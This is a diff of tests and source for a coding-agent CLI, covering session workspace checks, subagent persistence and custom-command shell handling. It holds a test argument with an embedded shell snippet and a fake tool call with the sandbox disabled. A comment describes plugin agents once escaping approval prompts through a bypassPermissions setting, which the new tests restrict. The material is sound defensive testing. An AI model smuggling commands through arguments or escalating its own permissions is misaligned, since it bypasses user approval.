+      await requestResult(harness.server, {
+        id: "open-with-workspace",
+        method: V4_METHODS.conversationSubscribe,
+        params: {
+          topic: conversationTopic(SESSION_ID),
+          connectionId: "viewer",
+          clientMode,
+          workspace,
+        },
+      });
+      for (const method of [
+        zcodeProtocolMethods.sessionLifecycleRestart,
+        zcodeProtocolMethods.sessionLifecycleEnsureReady,
+      ]) {
+        if (method === zcodeProtocolMethods.sessionLifecycleEnsureReady)
+          await call(harness, "session/lifecycle/stop");
+        await requestResult(harness.server, {
+          id: method,
+          method,
+          params: { sessionId: SESSION_ID, workspace },
+        });
+        expect(harness.sessions.get(SESSION_ID)?.workspace).toEqual(workspace);
+      }
+      expect(requests).toHaveLength(3);
+      expect(await harness.store.getSession(SESSION_ID)).toEqual(before);
+      const count = harness.createdApps.length;
+      const rejected = await harness.server.handleMessage({
+        id: "wrong-workspace",
+        method: zcodeProtocolMethods.sessionLifecycleRestart,
+        params: {
+          sessionId: SESSION_ID,
+          workspace: { workspacePath: "/other", workspaceKey: "/other" },
+        },
+      });
+      expect(rejected).toHaveProperty("error");
+      expect(await call(harness, "session/lifecycle/getState")).toMatchObject({ state: "ready" });
+      expect(harness.createdApps).toHaveLength(count);
+    },
+  );
+
+  it.each([
+    zcodeProtocolMethods.sessionLifecycleEnsureReady,
+    zcodeProtocolMethods.sessionLifecycleRestart,
+  ])("rejects identity-only changes before touching a ready runtime (%s)", async (method) => {
+    const sessionId = "sess_remote_identity_guard" as SessionId;
+    const identity = `remote:ssh:host-a.example:22:dev:${WORKSPACE_PATH}`;
+    const workspace = {
+      workspacePath: WORKSPACE_PATH,
+      workspaceKey: identity,
+      workspaceIdentity: identity,
+      remoteSessionId: "route-a",
+    };
+    await harness.store.createSession({
+      id: sessionId,
+      projectID: "remote_identity" as ProjectId,
+      workspaceID: identity as WorkspaceId,
+      slug: "remote-identity",
+      directory: WORKSPACE_PATH,
+      path: WORKSPACE_PATH,
+      title: "Remote identity",
+      version: "test",
+      time: { created: 1, updated: 2 },
+    });
+    await requestResult(harness.server, {
+      id: "start-remote",
+      method: zcodeProtocolMethods.sessionLifecycleEnsureReady,
+      params: { sessionId, workspace },
+    });
+    const record = harness.sessions.get(sessionId)!;
+    const close = vi.spyOn(record.app, "close");
+    const state = await getSessionLifecycle(
+      (harness.server as unknown as { context: ZCodeProtocolAgentServerContext }).context,
+    ).getState(sessionId);
+    const appsBefore = harness.createdApps.length;
+    for (const workspaceIdentity of [
+      `remote:ssh:host-b.example:22:other:${WORKSPACE_PATH}`,
+      undefined,
+    ]) {
+      const response = await harness.server.handleMessage({
+        id: `wrong-${workspaceIdentity ?? "missing"}`,
+        method,
+        params: { sessionId, workspace: { ...workspace, workspaceIdentity } },
+      });
+      expect(response).toMatchObject({ error: { message: "project.session-lineage-invalid" } });
+      expect(close).not.toHaveBeenCalled();
+      expect(harness.createdApps).toHaveLength(appsBefore);
+      expect(harness.sessions.get(sessionId)).toBe(record);
+      expect(
+        await requestResult(harness.server, {
+          id: "state",
+          method: zcodeProtocolMethods.sessionLifecycleGetState,
+          params: { sessionId },
+        }),
+      ).toMatchObject({ state: "ready", generation: state.generation });
+    }
+    await requestResult(harness.server, {
+      id: "correct",
+      method,
+      params: { sessionId, workspace },
+    });
+    expect(close).toHaveBeenCalledTimes(
+      method === zcodeProtocolMethods.sessionLifecycleRestart ? 1 : 0,
+    );
+  });
+
+  it("settles the inbox after goal pause failure and preserves the failed stage", async () => {
+    await call(harness, "session/lifecycle/ensureReady");
+    const context = (harness.server as unknown as { context: ZCodeProtocolAgentServerContext })
+      .context;
+    const record = harness.sessions.get(SESSION_ID)!;
+    record.app.readTarget = vi.fn().mockResolvedValue({ status: "active" });
+    record.app.updateTargetStatus = vi.fn().mockRejectedValue(new Error("target write failed"));
+    const finish = vi.spyOn(context.v4Gateway!, "finishSessionRelease");
+    await expect(call(harness, "session/lifecycle/stop")).rejects.toThrow("goal_pause");
+    expect(finish).toHaveBeenCalledWith(SESSION_ID);
+    expect(await call(harness, "session/lifecycle/getState")).toMatchObject({ state: "faulted" });
+  });
+
   it("queries unloaded without activation, then ensures/restarts/stops while preserving history", async () => {
     expect(await call(harness, "session/lifecycle/getState")).toMatchObject({ state: "unloaded" });
     expect(harness.createdApps).toHaveLength(0);

+ 231 - 0
apps/zcode-cli/packages/bootstrap/tests/subagent-workspace.test.ts

@@ -0,0 +1,231 @@
+import { mkdtemp, mkdir, rm, realpath } from "node:fs/promises";
+import { tmpdir } from "node:os";
+import { join } from "node:path";
+import { expect, it, vi } from "vitest";
+import type { SessionId, WorkspaceId } from "@zcode/contracts";
+import { createSqliteSessionStore } from "@zcode/adapters/storage";
+import { createNodeExecutionAdapter } from "../../adapters/src/exec/node-execution-adapter.js";
+import { createTestAgentRuntime } from "../../core/tests/test-agent-runtime.js";
+import { createTestModelFactory } from "../../core/tests/test-runtime-model.js";
+import { createTestSessionEventStore } from "../../core/tests/test-event-store.js";
+import { listSessions } from "../src/zcode-protocol/server-operations.js";
+import type { ZCodeProtocolAgentServerContext } from "../src/zcode-protocol/server-types.js";
+
+it.each([false, true])(
+  "Bash cd before Agent preserves durable workspace (remote=%s)",
+  async (remote) => {
+    const root = await realpath(await mkdtemp(join(tmpdir(), "subagent-workspace-")));
+    const workspacePath = join(root, "project");
+    const cwd = join(workspacePath, "src");
+    await mkdir(cwd, { recursive: true });
+    const workspaceIdentity = remote
+      ? (`remote:server:test:${workspacePath}` as WorkspaceId)
+      : undefined;
+    const dbPath = join(root, "sessions.sqlite");
+    let store = await createSqliteSessionStore({ dbPath });
+    const parentId = "parent-after-cd" as SessionId;
+    const execution = createNodeExecutionAdapter({ outputRootDir: join(root, "outputs") });
+    const executed = vi.spyOn(execution, "run");
+    const usage = { inputTokens: 1, outputTokens: 1, totalTokens: 2 };
+    let calls = 0;
+    const runtime = createTestAgentRuntime(
+      parentId,
+      {
+        mode: "yolo",
+        workingDirectory: workspacePath,
+        workspacePath,
+        workspaceIdentity,
+        compact: { enabled: false },
+        titleGeneration: { enabled: false },
+        modelStreaming: false,
+      },
+      {
+        sessionStore: store,
+        eventStore: createTestSessionEventStore(),
+        executionPort: execution,
+        modelFactory: createTestModelFactory({
+          async generateText(_request, observation) {
+            if (observation.invocationContext?.metadata?.querySource === "subagent")
+              return { finishReason: "stop", text: "durable child history", usage };
+            calls++;
+            if (calls === 1)
+              return {
+                finishReason: "tool-calls",
+                text: "",
+                usage,
+                toolCalls: [
+                  {
+                    id: "cd",
+                    name: "Bash",
+                    input: { command: "cd src && pwd", dangerouslyDisableSandbox: true },
+                  },
+                ],
+              };
+            if (calls === 2)
+              return {
+                finishReason: "tool-calls",
+                text: "",
+                usage,
+                toolCalls: [
+                  {
+                    id: "agent",
+                    name: "Agent",
+                    input: {
+                      description: "Read",
+                      prompt: "Read and finish",
+                      subagent_type: "general-purpose",
+                    },
+                  },
+                ],
+              };
+            return { finishReason: "stop", text: "done", usage };
+          },
+        }),
+      },
+    );
+    try {
+      await runtime.executeTurn("Run cd, then Agent");
+      expect((await executed.mock.results[0]!.value).resolvedCwd).toBe(cwd);
+      const child = (await store.listSessions({ limit: 20 })).find((s) => s.parentID === parentId);
+      expect(child).toBeDefined();
+      runtime.beginShutdown();
+      store.close();
+      store = await createSqliteSessionStore({ dbPath });
+      expect(await store.getSession(child!.id)).toMatchObject({
+        path: workspacePath,
+        directory: workspacePath,
+      });
+      expect((await store.getSession(child!.id))?.workspaceID).toBe(workspaceIdentity);
+      expect(
+        (await store.messages({ sessionID: child!.id })).some((message) =>
+          message.parts.some(
+            (part) => part.type === "text" && part.text === "durable child history",
+          ),
+        ),
+      ).toBe(true);
+      const workspace = {
+        workspacePath,
+        workspaceIdentity,
+        workspaceKey: workspaceIdentity ?? workspacePath,
+      };
+      const result = await listSessions(
+        {
+          deps: { sessionStore: store },
+          sessionDirectorySourceEnabled: true,
+          sessions: new Map(),
+        } as ZCodeProtocolAgentServerContext,
+        { workspace, sessionIds: [child!.id] },
+      );
+      expect(result.sessions).toEqual([
+        expect.objectContaining({ sessionId: child!.id, directorySessionId: parentId }),
+      ]);
+    } finally {
+      runtime.beginShutdown();
+      store.close();
+      await execution.close?.();
+      await rm(root, { recursive: true, force: true });
+    }
+  },
+  30_000,
+);
+
+it("keeps legacy paths readable and unchanged across resume, old-writer updates and reopen", async () => {
+  // session-store 与 v3.17.1 相同;用旧字段再次写入,验证兼容不是只执行一次的迁移。
+  const root = await realpath(await mkdtemp(join(tmpdir(), "workspace-roundtrip-")));
+  const legacyPath = root + "/";
+  const dbPath = join(root, "sessions.sqlite");
+  const id = "legacy-roundtrip" as SessionId;
+  let store = await createSqliteSessionStore({ dbPath });
+  const workspace = { workspacePath: root, workspaceKey: root };
+  const read = (sessionId: string) =>
+    listSessions(
+      {
+        deps: { sessionStore: store },
+        sessionDirectorySourceEnabled: true,
+        sessions: new Map(),
+      } as ZCodeProtocolAgentServerContext,
+      { sessionIds: [sessionId], workspace },
+    );
+  try {
+    await store.createSession({
+      id,
+      projectID: "legacy-project" as never,
+      slug: "legacy",
+      title: "old",
+      directory: legacyPath,
+      path: legacyPath,
+      version: "3.17.1",
+      time: { created: 1, updated: 1 },
+    });
+    store.close();
+    store = await createSqliteSessionStore({ dbPath });
+    expect((await read(id)).sessions).toEqual([
+      expect.objectContaining({ directorySessionId: id, workspace }),
+    ]);
+    const runtime = createTestAgentRuntime(
+      id,
+      {
+        workingDirectory: root,
+        workspacePath: root,
+        mode: "yolo",
+        compact: { enabled: false },
+        titleGeneration: { enabled: false },
+        modelStreaming: false,
+      },
+      {
+        sessionStore: store,
+        eventStore: createTestSessionEventStore(),
+        modelFactory: createTestModelFactory({
+          async generateText() {
+            return {
+              finishReason: "stop",
+              text: "continued",
+              usage: { inputTokens: 1, outputTokens: 1, totalTokens: 2 },
+            };
+          },
+        }),
+      },
+    );
+    await runtime.resumeFromStore();
+    await runtime.executeTurn("continue old session");
+    await runtime.close();
+    expect(await store.getSession(id)).toMatchObject({ directory: legacyPath, path: legacyPath });
+    const history = await store.messages({ sessionID: id });
+    expect(history.length).toBeGreaterThan(0);
+    store.close();
+    store = await createSqliteSessionStore({ dbPath });
+    // 降级写入原有列并再次制造旧 child;再升级仍按持久父链解析,不回填目录。
+    await store.updateSession({ id, title: "edited after rollback" });
+    const child = "legacy-child-after-rollback" as SessionId;
+    await store.createSession({
+      id: child,
+      projectID: "legacy-project" as never,
+      slug: "child",
+      title: "child",
+      directory: join(root, "src"),
+      path: join(root, "src"),
+      parentID: id,
+      taskType: "subagent_child",
+      version: "3.17.1",
+      time: { created: 2, updated: 2 },
+    });
+    store.close();
+    store = await createSqliteSessionStore({ dbPath });
+    expect((await read(child)).sessions).toEqual([
+      expect.objectContaining({ directorySessionId: id, workspace }),
+    ]);
+    expect(await store.getSession(id)).toMatchObject({
+      title: "edited after rollback",
+      directory: legacyPath,
+      path: legacyPath,
+    });
+    expect(await store.getSession(child)).toMatchObject({
+      directory: join(root, "src"),
+      path: join(root, "src"),
+    });
+    expect(await store.messages({ sessionID: id })).toEqual(history);
+  } finally {
+    store.close();
+    await rm(root, { recursive: true, force: true });
+  }
+}, 30_000);

+ 67 - 2
apps/zcode-cli/packages/bootstrap/tests/subagents.test.ts

@@ -10,7 +10,13 @@ import {
 } from "../src/subagents.js";
 import { loadPluginAgentProfiles } from "./helpers/subagents.js";
 
-function pluginMetadata(input: { enabled?: boolean; id: string; name: string; rootPath: string }) {
+function pluginMetadata(input: {
+  enabled?: boolean;
+  id: string;
+  marketplace?: string;
+  name: string;
+  rootPath: string;
+}) {
   return {
     commandRootCount: 0,
     components: [
@@ -26,7 +32,7 @@ function pluginMetadata(input: { enabled?: boolean; id: string; name: string; ro
     enabled: input.enabled ?? true,
     id: input.id,
     manifestPath: join(input.rootPath, ".claude-plugin", "plugin.json"),
-    marketplace: "claude-plugins-official",
+    marketplace: input.marketplace ?? "claude-plugins-official",
     mcpServerNames: [],
     name: input.name,
     hookDetails: [],
@@ -477,6 +483,65 @@ tools:
     }
   });
 
+  // 插件 agent 由模型委派;frontmatter 的 permissionMode 曾按用户级原样生效,
+  // bypassPermissions 会让子会话以 yolo 运行、全工具免审批。现在保留声明值并打标记,
+  // 由 core 只取比父会话更严格的模式;官方与第三方市场同一规则。
+  it.each([
+    ["zcode-plugins-official", "acceptEdits"],
+    ["zcode-plugins-official", "auto"],
+    ["zcode-plugins-official", "bypassPermissions"],
+    ["zcode-plugins-official", "dontAsk"],
+    ["zcode-plugins-official", "plan"],
+    ["third-party", "acceptEdits"],
+    ["third-party", "auto"],
+    ["third-party", "bypassPermissions"],
+    ["third-party", "dontAsk"],
+    ["third-party", "plan"],
+  ] as const)(
+    "marks %s plugin permissionMode %s as restrict-only on canonical and alias profiles",
+    async (marketplace, permissionMode) => {
+      const root = await mkdtemp(join(tmpdir(), "zcode-plugin-subagents-permission-"));
+      const pluginRoot = join(root, "fixture");
+      try {
+        await mkdir(join(pluginRoot, "agents"), { recursive: true });
+        await writeFile(
+          join(pluginRoot, "agents", "code-architect.md"),
+          `---
+name: code-architect
+description: 插件 agent
+permissionMode: ${permissionMode}
+---
+插件 prompt`,
+          "utf8",
+        );
+
+        const plugins = [
+          pluginMetadata({
+            id: `fixture@${marketplace}`,
+            marketplace,
+            name: "fixture",
+            rootPath: pluginRoot,
+          }),
+        ];
+        const result = loadPluginAgentProfiles({ plugins });
+
+        expect(result.profiles.map((profile) => profile.name)).toEqual([
+          "fixture:code-architect",
+          "code-architect",
+        ]);
+        for (const profile of result.profiles) {
+          expect(profile).toMatchObject({
+            permissionMode,
+            permissionModeRestrictOnly: true,
+            source: "user",
+          });
+        }
+      } finally {
+        await rm(root, { force: true, recursive: true });
+      }
+    },
+  );
+
   it("applies plugin agent model overrides from shared subagent state to canonical and alias profiles", async () => {
     const root = await mkdtemp(join(tmpdir(), "zcode-plugin-subagents-overrides-"));
     const storageRoot = join(root, "home");

+ 214 - 2
apps/zcode-cli/packages/bootstrap/tests/v4-cold-resume.test.ts

@@ -1,3 +1,6 @@
+import { mcpUiInstances } from "../src/zcode-protocol/mcp-ui/instances.js";
+import { createMcpUiHandlers } from "../src/zcode-protocol/mcp-ui/index.js";
+import { createExampleSessionAccess } from "../src/zcode-protocol/mcp-ui/contract.example.js";
 import { DatabaseSync } from "node:sqlite";
 // M5 冷恢复(打开历史会话)验收网:CLI 重启后内存注册表为空,v4 订阅历史会话
 // 必须经 host.resumePersistedSession 把 record 拉起来,而不是抛
@@ -1513,7 +1516,7 @@ describe("v4 冷恢复(集成:真 sqlite + server + binder)", () => {
   it("cold rename/delete persist before acknowledgement and duplicate delete does not resume again", async () => {
     const dbPath = join(tempRoot, "metadata.db");
     await seedPersistedSession(dbPath);
-    const { server, close } = await bootRealRestartedServer(dbPath);
+    const { server, apps, close } = await bootRealRestartedServer(dbPath);
     const command = (
       commandId: string,
       type: "renameSession" | "deleteSession",
@@ -1539,14 +1542,79 @@ describe("v4 冷恢复(集成:真 sqlite + server + binder)", () => {
           title: "Renamed offline",
           titleSource: "custom",
         });
+        const source = { identity: "shared-mcp", generation: 1 };
+        const binding = {
+          workspace: "/workspace",
+          sessionId: SESSION_ID,
+          pluginId: "p",
+          serverName: "plugin:example-plugin:widget",
+          scopeId: "panel",
+          resourceUri: "ui://app",
+          ownerWebContentsId: 1,
+        };
+        const instance = mcpUiInstances.open(binding, source);
+        const other = mcpUiInstances.open({ ...binding, sessionId: "another-session" }, source);
+        const access = createExampleSessionAccess();
+        const executing = Promise.withResolvers<void>();
+        const finish = Promise.withResolvers<{ content: [] }>();
+        let signal: AbortSignal | undefined;
+        access.callTool = async (_server, _tool, _args, options) => {
+          signal = options?.signal;
+          executing.resolve();
+          return finish.promise;
+        };
+        const pending = createMcpUiHandlers().callTool(access, {
+          ...binding,
+          instance,
+          callId: "draft-call",
+          toolName: "ping",
+        });
+        const rejected = expect(pending).rejects.toThrow();
+        await executing.promise;
         const deletion = command("delete-1", "deleteSession", {});
-        const deleteAck = await requestResult(server, {
+        // 两个 server 分别停在退订中;删除不能提前释放 pool lease。
+        const nextServer = Promise.withResolvers<void>();
+        const lastServer = Promise.withResolvers<void>();
+        const order: string[] = [];
+        const unsubscribe = vi
+          .spyOn(apps[0], "unsubscribeMcpResourcesForUi")
+          .mockImplementation(async (prefix) => {
+            expect(prefix).toBe(`${SESSION_ID}|`);
+            order.push("server-a");
+            await nextServer.promise;
+            order.push("server-b");
+            await lastServer.promise;
+            order.push("unsubscribed");
+            return 2;
+          });
+        const closeApp = vi.spyOn(apps[0], "close");
+        const deleting = requestResult(server, {
           id: "delete",
           method: V4_METHODS.command,
           params: deletion,
         });
+        try {
+          await vi.waitFor(() => expect(unsubscribe).toHaveBeenCalledTimes(1));
+          expect(closeApp).not.toHaveBeenCalled();
+          nextServer.resolve();
+          await vi.waitFor(() => expect(order).toEqual(["server-a", "server-b"]));
+          expect(closeApp).not.toHaveBeenCalled();
+        } finally {
+          nextServer.resolve();
+          lastServer.resolve();
+        }
+        const deleteAck = await deleting;
+        expect(order).toEqual(["server-a", "server-b", "unsubscribed"]);
+        expect(closeApp).toHaveBeenCalledTimes(1);
         expect(deleteAck, JSON.stringify(deleteAck)).toMatchObject({ status: "accepted" });
         expect((await check.getSession(SESSION_ID))?.time.deleted).toBeTypeOf("number");
+        // 共享连接仍存活时,删除只撤销本 session 的 token 与调用。
+        finish.resolve({ content: [] });
+        await rejected;
+        expect(signal?.aborted).toBe(true);
+        expect(mcpUiInstances.find(instance.token)).toBeUndefined();
+        expect(mcpUiInstances.find(other.token)).toBeDefined();
+        mcpUiInstances.close(other);
         expect(
           await requestResult(server, {
             id: "retry",
@@ -1700,6 +1768,144 @@ describe("v4 冷恢复(集成:真 sqlite + server + binder)", () => {
     }
   });
 
+  it.each(["direct", "resolved"] as const)(
+    "带 workspace 的恢复入口兼容旧 WSL %s 记录并拒绝其他用户",
+    async (shape) => {
+      const path = "/home/dev/project";
+      const identity = "remote:wsl:Debian:dev:/home/dev/project" as WorkspaceId;
+      const target = { workspacePath: path, workspaceKey: identity, workspaceIdentity: identity };
+      const legacy = shape === "direct" ? identity : `${path}/${identity}`;
+      const store = await createSqliteSessionStore({ dbPath: join(tempRoot, "wsl.db") });
+      const apps: string[] = [];
+      const server = new ZCodeProtocolAgentServer({
+        cwd: path,
+        sessionStore: store,
+        createZCodeApp: (options) => {
+          apps.push(options?.runtimeConfig?.workingDirectory ?? "");
+          return createColdFakeApp(options, []);
+        },
+      });
+      try {
+        for (const method of [
+          zcodeProtocolMethods.sessionResume,
+          zcodeProtocolMethods.sessionLifecycleEnsureReady,
+          zcodeProtocolMethods.sessionLifecycleRestart,
+          V4_METHODS.conversationSubscribe,
+        ]) {
+          const id = `sess_legacy_${method.replaceAll("/", "_")}` as SessionId;
+          await store.createSession({
+            id,
+            projectID: "legacy" as ProjectId,
+            slug: id,
+            directory: legacy,
+            path: legacy,
+            title: "Legacy",
+            version: "3.4.2",
+            time: { created: 1, updated: 2 },
+          });
+          const params =
+            method === V4_METHODS.conversationSubscribe
+              ? {
+                  topic: conversationTopic(id),
+                  connectionId: id,
+                  clientMode: "desktop-continuous",
+                  workspace: target,
+                }
+              : { sessionId: id, workspace: target };
+          const wrongIdentity = "remote:wsl:Debian:other:/home/dev/project";
+          const response = await server.handleMessage({
+            id: `${id}-wrong`,
+            method,
+            params: {
+              ...params,
+              workspace: {
+                ...target,
+                workspaceKey: wrongIdentity,
+                workspaceIdentity: wrongIdentity,
+              },
+            },
+          });
+          expect(response).toHaveProperty("error");
+          expect(await store.getSession(id)).toMatchObject({
+            path: legacy,
+            workspaceID: undefined,
+          });
+          await requestResult(server, { id, method, params });
+          expect(await store.getSession(id)).toMatchObject({
+            path,
+            directory: path,
+            workspaceID: identity,
+          });
+        }
+        expect(apps).toEqual([path, path, path, path]);
+      } finally {
+        store.close();
+      }
+    },
+  );
+
+  it.each(["desktop-continuous", "web-remote-replayable"] as const)(
+    "V4 %s 冷恢复登记 workspace 后才进入启动,拒绝冲突加入",
+    async (clientMode) => {
+      const dbPath = join(tempRoot, "flight.db");
+      await seedPersistedSession(dbPath);
+      const store = await createSqliteSessionStore({ dbPath });
+      const entered = Promise.withResolvers<void>();
+      const gate = Promise.withResolvers<void>();
+      let activated = 0;
+      const server = new ZCodeProtocolAgentServer({
+        cwd: WORKSPACE_PATH,
+        sessionStore: store,
+        createZCodeApp: async (options) => {
+          activated++;
+          entered.resolve();
+          await gate.promise;
+          return createColdFakeApp(options, []);
+        },
+      });
+      const subscribe = requestResult(server, {
+        id: "cold",
+        method: V4_METHODS.conversationSubscribe,
+        params: {
+          topic: conversationTopic(SESSION_ID),
+          connectionId: "cold",
+          clientMode,
+          workspace,
+        },
+      });
+      try {
+        await entered.promise;
+        for (const method of [
+          zcodeProtocolMethods.sessionLifecycleEnsureReady,
+          zcodeProtocolMethods.sessionLifecycleRestart,
+          zcodeProtocolMethods.sessionResume,
+        ]) {
+          const response = await server.handleMessage({
+            id: method,
+            method,
+            params: {
+              sessionId: SESSION_ID,
+              workspace: { workspacePath: "/wrong", workspaceKey: "/wrong" },
+            },
+          });
+          expect(response).toHaveProperty("error");
+        }
+        const joined = requestResult(server, {
+          id: "same",
+          method: zcodeProtocolMethods.sessionLifecycleEnsureReady,
+          params: { sessionId: SESSION_ID, workspace },
+        });
+        gate.resolve();
+        await Promise.all([subscribe, joined]);
+        expect(activated).toBe(1);
+      } finally {
+        gate.resolve();
+        await subscribe.catch(() => {});
+        store.close();
+      }
+    },
+  );
+
   it("冷恢复 3.4.2 遗留的 WSL 显式用户任务时修复真实工作目录", async () => {
     const dbPath = join(tempRoot, "sessions.db");
     const legacySessionId = "sess_wsl_explicit_user_legacy" as SessionId;
@@ -2497,6 +2703,12 @@ describe("v4 冷恢复(集成:真 sqlite + server + binder)", () => {
           version: "test",
         });
         seed.close();
+        // 旧 Agent 在 Bash cd 后把执行 cwd 当成绑定目录;父链仍完整。
+        const legacy = new DatabaseSync(dbPath);
+        legacy
+          .prepare("UPDATE session SET path=?, directory=? WHERE id=?")
+          .run(`${WORKSPACE_PATH}/src`, `${WORKSPACE_PATH}/src`, SESSION_ID);
+        legacy.close();
         for (let lifetime = 0; lifetime < 2; lifetime += 1) {
           const apps: ZCodeAppOptions[] = [];
           const { server, store } = await bootRestartedServer(dbPath, [], undefined, apps);

+ 1 - 0
apps/zcode-cli/packages/bootstrap/tests/v4-history-first.test.ts

@@ -91,6 +91,7 @@ function setupOwned() {
   let active = false;
   const lifecycle = new SessionLifecycleController({
     exists: async () => true,
+    validateActivation: async () => {},
     hasRuntime: () => active,
     assertCanStop: () => {},
     activate: async () => {

+ 1 - 0
apps/zcode-cli/packages/cli/src/command-center-custom.ts

@@ -18,6 +18,7 @@ export type CommandCenterCustomCommand = {
   model?: string;
   name: string;
   path: string;
+  plugin?: { dataPath: string; id: string; name: string; rootPath: string };
   rootPath?: string;
   scope: string;
   skills?: string[];

+ 10 - 14
apps/zcode-cli/packages/cli/src/custom-command-expand.ts

@@ -1,7 +1,10 @@
+import { handOffCustomCommandShellBlocks } from "@zcode/contracts";
+
 interface CliCustomCommandContent {
   content: string;
   metadata: {
     name: string;
+    plugin?: { dataPath: string; id: string; name: string; rootPath: string };
     scope: string;
     skills?: string[];
     source: string;
@@ -15,24 +18,21 @@ interface CliCustomCommandExpansion {
 }
 
 const ALL_ARGUMENTS_TOKEN = "$ARGUMENTS";
-const FENCED_SHELL_PATTERN = /```!\s*[\s\S]*?```/;
-const INLINE_SHELL_PATTERN = /!`[^`]*`/;
 const POSITIONAL_ARGUMENT_PATTERN = /\$(\d+)/g;
 
 export function expandCliCustomCommandPrompt(input: {
   args: string;
   command: CliCustomCommandContent;
 }): CliCustomCommandExpansion {
-  if (usesUnsupportedDynamicShell(input.command.content)) {
-    throw new Error(
-      `Custom command /${input.command.metadata.name} uses unsupported shell expansion. Dynamic expansion is not available yet.`,
-    );
-  }
-
+  // 与 app 路径同一规则:`!` shell 块改写成交给模型的 Bash 指令,不执行也不报错;
+  // 改写早于参数替换,参数文本不会被当成 shell 块。
+  const content = handOffCustomCommandShellBlocks(input.command.content, {
+    metadata: input.command.metadata,
+  });
   const args = input.args.trim();
   const positional = splitCliCustomCommandArguments(args);
-  let usedArgumentsPlaceholder = input.command.content.includes(ALL_ARGUMENTS_TOKEN);
-  let body = input.command.content.replaceAll(ALL_ARGUMENTS_TOKEN, args);
+  let usedArgumentsPlaceholder = content.includes(ALL_ARGUMENTS_TOKEN);
+  let body = content.replaceAll(ALL_ARGUMENTS_TOKEN, args);
   body = body.replace(POSITIONAL_ARGUMENT_PATTERN, (_match, index: string) => {
     usedArgumentsPlaceholder = true;
     return positional[Number(index) - 1] ?? "";
@@ -103,7 +103,3 @@ function splitCliCustomCommandArguments(input: string): string[] {
   if (current.length > 0) args.push(current);
   return args;
 }
-
-function usesUnsupportedDynamicShell(content: string): boolean {
-  return INLINE_SHELL_PATTERN.test(content) || FENCED_SHELL_PATTERN.test(content);
-}

+ 5 - 6
apps/zcode-cli/packages/cli/src/prompt-command.ts

@@ -294,7 +294,8 @@ export const runPrompt = async (
     // 的三件机制全被跳过——dwf 结算等待、常驻事件订阅的单一写者、`response` 取最后一个
     // 回合。结果是 `zcode -p "/workflow ..."` 在第一个回合后就退出,把在飞的 run 孤儿化
     // 成 Interrupted。能解析成真实自定义命令的必须落到普通 prompt 路径,提交**原文**即可:
-    // facade 的 customCommandPromptResolver 会在服务端展开($ARGUMENTS、skills: 前言、`!`)。
+    // facade 的 customCommandPromptResolver 会在服务端展开($ARGUMENTS、skills: 前言、把 `!`
+    // 块改写成交给模型的 Bash 指令)。
     // 解析不出来的名字继续留在 command-center,拿它的 "Unknown command" 文案;保留名
     // (`/compress` 是唯一一个 CLI 解析成 unknown 而 facade 又拒绝展开的)同样留在那边,
     // 判据与 facade 的 gate 共用一个来源,见 isResolvableCustomCommand。
@@ -492,14 +493,12 @@ async function routesToPromptCommandCenter(
 }
 
 async function isResolvableCustomCommand(deps: RunDependencies, name: string): Promise<boolean> {
-  // 保留名先问,再尝试加载——与 facade 那道 gate 的顺序逐字一致
-  // (`bootstrap/src/custom-command-prompt.ts:31`)。判据必须是同一个:facade 对保留名
+  // 保留名先问,再尝试加载——与 facade 那道 gate 的顺序逐字一致(`bootstrap/src/
+  // custom-command-prompt.ts` 的 resolveZCodeCustomCommandPrompt 开头)。判据必须是同一个:facade 对保留名
   // 直接返回 undefined、不做展开,所以这里若把一个保留名判成"可解析",它就会以字面文本
   // `/compress …` 被当成普通 prompt 提交给模型——静默走错路,没有任何报错。
   //
-  // 探测刻意用「保留名检查 + load」这一对,而不是直接调 resolveZCodeCustomCommandPrompt:
-  // 后者会执行 `!` shell expansion,拿它探测等于把用户的 shell 片段跑两遍。
-  // 这一对是它的无副作用等价物(load 只读文件)。
+  // 探测只用「保留名检查 + load」这一对(load 只读文件),完整展开留给 facade 做一次。
   if (await isReservedSlashCommandName(deps, name)) return false;
   try {
     await loadCustomCommandForPrompt(deps, name);

+ 28 - 0
apps/zcode-cli/packages/cli/tests/cli.unit.test.ts

@@ -31,6 +31,7 @@ import {
   parseSlashCommand,
 } from "../src/command-center.js";
 import type { CommandCenterTarget } from "../src/command-center.js";
+import { expandCliCustomCommandPrompt } from "../src/custom-command-expand.js";
 import { findDotenv, loadCliDotenv, prepareCliRuntimeEnv } from "../src/env.js";
 import { runPluginsCommand } from "../src/plugins-command.js";
 import { runPluginHostCommand } from "../src/plugin-host-command.js";
@@ -1309,6 +1310,33 @@ test("headless prompt keeps a facade-reserved custom command name on the command
   assert.notEqual(submitted, "/compress tighten it");
 });
 
+test("TUI custom command expansion hands shell blocks to the model like the app path", () => {
+  const { prompt } = expandCliCustomCommandPrompt({
+    args: "go !`touch arg-marker`",
+    command: {
+      content: [
+        "Run !`git status`, then report.",
+        "```!",
+        '"${CLAUDE_PLUGIN_ROOT}/s.sh" "$CLAUDE_PROJECT_DIR" $ARGUMENTS',
+        "```",
+      ].join("\n"),
+      metadata: {
+        name: "probe",
+        plugin: { dataPath: "/data/p", id: "p@market", name: "p", rootPath: "/plugins/p" },
+        scope: "user",
+        source: "plugin",
+      },
+    },
+  });
+
+  assert.match(prompt, /the \/probe command file \(user\/plugin\), not from ZCode\./);
+  // 代码块结束后原文另起一行;插件变量换成真实路径,工作区变量留给 Bash 环境;参数原样进入。
+  assert.ok(prompt.includes("```bash\ngit status\n```\n, then report."));
+  assert.ok(
+    prompt.includes('```bash\n"/plugins/p/s.sh" "$CLAUDE_PROJECT_DIR" go !`touch arg-marker`\n```'),
+  );
+});
+
 test("headless prompt keeps the Unknown command response for an unresolvable slash name", async () => {
   const ctx = createContext(["--prompt", "/nope please"]);
   const exitCode = await run(ctx, {

+ 111 - 21
apps/zcode-cli/packages/contracts/src/commands/index.ts

@@ -19,8 +19,7 @@ export type CustomCommandDiagnosticCode =
   | "custom_command_root_not_found"
   | "custom_command_scan_failed"
   | "custom_command_too_large"
-  | "custom_command_unknown_frontmatter"
-  | "custom_command_unsupported_dynamic_syntax";
+  | "custom_command_unknown_frontmatter";
 
 export interface CustomCommandRoot {
   /** 附加目录能力的目录限定名;不是项目身份。 */
@@ -106,28 +105,60 @@ export interface CustomCommandExpansion {
   usedArgumentsPlaceholder: boolean;
 }
 
-export interface CustomCommandTemplateExpansion {
+interface CustomCommandTemplateExpansion {
   argumentCount: number;
   body: string;
   usedArgumentsPlaceholder: boolean;
 }
 
+/** 改写 `!` 块所需的命令身份。 */
+export interface CustomCommandShellHandOffInput {
+  metadata: {
+    name: string;
+    plugin?: Pick<HookPluginContext, "dataPath" | "id" | "name" | "rootPath">;
